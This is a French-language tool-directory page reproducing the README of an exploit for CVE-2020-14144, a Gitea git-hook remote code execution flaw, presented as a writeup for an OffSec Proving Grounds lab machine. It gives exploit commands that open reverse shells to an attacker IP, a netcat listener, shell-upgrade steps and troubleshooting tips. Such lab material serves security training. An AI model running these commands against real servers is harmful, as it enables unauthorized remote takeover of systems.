Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Gitea-Git-Hooks-RCE-CVE-2020-14144- — Les versions 1.1.0 à 1.12.5 de Gitea permettent aux utilisateurs authentifiés disposant de la permission « Peut créer des hooks git » d'injecter des commandes shell arbitraires dans les hooks post-receive. Pousser un commit déclenche le hook et exécute la charge utile sur le serveur. | Kitploit
Outils/GitHubGitHub/mohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubmohnad-al-saif/gitea-git-hooks-rce-cve-2020-14144-

Gitea-Git-Hooks-RCE-CVE-2020-14144-

Voir le dépôt
1il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Les versions 1.1.0 à 1.12.5 de Gitea permettent aux utilisateurs authentifiés disposant de la permission « Peut créer des hooks git » d'injecter des commandes shell arbitraires dans les hooks post-receive. Pousser un commit déclenche le hook et exécute la charge utile sur le serveur.

Partager

Gitea Git Hooks RCE (CVE-2020-14144)

OffsecProvingGrounds Pratique — Article sur la machine Roquefort & POC

Aperçu

ÉlémentDétail
MachineRoquefort (Proving Grounds Pratique)
OSLinux
Version Gitea1.7.5
CVECVE-2020-14144
VecteurRCE authentifié via Git Hooks
Shell utilisateurchloe

Les versions de Gitea 1.1.0 → 1.12.5 permettent aux utilisateurs authentifiés disposant de la permission « Peut créer des hooks git » d'injecter des commandes shell arbitraires dans les hooks post-receive. Pousser un commit déclenche le hook et exécute la charge utile sur le serveur.

Démarrage rapide

Automatisé (Script Python)

root@kitploit:~
# Cible Linux — reverse shell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os linux

# Cible Windows — reverse shell PowerShell
python3 exploit.py -t http://TARGET:3000 -u test -p password123 -I ATTACKER_IP -P 4444 --os windows

Manuel

Voir MANUAL.md pour le guide d'exploitation pas à pas.

Structure du dépôt

root@kitploit:~
.
├── README.md          # Ce fichier
├── MANUAL.md          # Guide d'exploitation manuel (Linux + Windows)
└── exploit.py         # Script d'exploitation automatisé

Prérequis

  • Python 3.6+
  • Bibliothèque requests (pip install requests)
  • git installé sur la machine attaquante
  • Identifiants Gitea valides avec permissions de hooks git

Utilisation

root@kitploit:~
usage: exploit.py [-h] -t TARGET -u USERNAME -p PASSWORD -I REV_IP -P REV_PORT
                  [--os {linux,windows}] [--repo REPO] [-f PAYLOAD_FILE] [-v]

Roquefort — RCE authentifié Gitea via Git Hooks (CVE-2020-14144)

arguments obligatoires:
  -t, --target       URL cible Gitea (ex: http://192.168.x.x:3000)
  -u, --username     Nom d'utilisateur Gitea
  -p, --password     Mot de passe Gitea
  -I, --rev-ip       IP de l'écouteur attaquant
  -P, --rev-port     Port de l'écouteur attaquant

arguments optionnels:
  --os               OS cible : linux (par défaut) ou windows
  --repo             Nom du dépôt à créer (par défaut : exploit)
  -f, --payload-file Fichier de script shell personnalisé
  -v, --verbose      Sortie verbose

Exemples

root@kitploit:~
# 1) Démarrer l'écouteur
nc -lvnp 4444

# 2) Exécuter l'exploit (cible Linux)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444

# 3) Exécuter l'exploit (cible Windows)
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 --os windows

# 4) Fichier de charge utile personnalisé
python3 exploit.py -t http://192.168.103.67:3000 -u test -p password123 \
  -I 192.168.45.168 -P 4444 -f payload.sh

Amélioration du shell (post-exploitation)

Après avoir récupéré le reverse shell :

root@kitploit:~
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

Dépannage

ProblèmeSolution
fatal: dubious ownershipCloner depuis ~ au lieu de dossiers partagés, ou exécuter git config --global --add safe.directory '*'
Aucune connexion reçueVérifier l'IP de l'attaquant, le pare-feu, confirmer que les deux machines sont sur le même sous-réseau
Le hook se déclenche mais pas de shellTester d'abord avec la charge utile touch /tmp/pwned — si le fichier apparaît, le reverse shell est bloqué
Permission refusée sur les hooksL'utilisateur n'a pas les permissions de hook — nécessite un administrateur ou le privilège « Peut créer des hooks git »
Conflit de port sur 3000Gitea utilise 3000 — utiliser un port différent comme 4444 pour votre écouteur

Références

  • CVE-2020-14144 — NVD
  • Problème Gitea #13058
  • POC original de p0dalirius

Avertissement

Cet outil est destiné uniquement aux tests de pénétration autorisés et à des fins éducatives. L'accès non autorisé aux systèmes informatiques est illégal. Utilisez-le de manière responsable.

Télécharger l’outil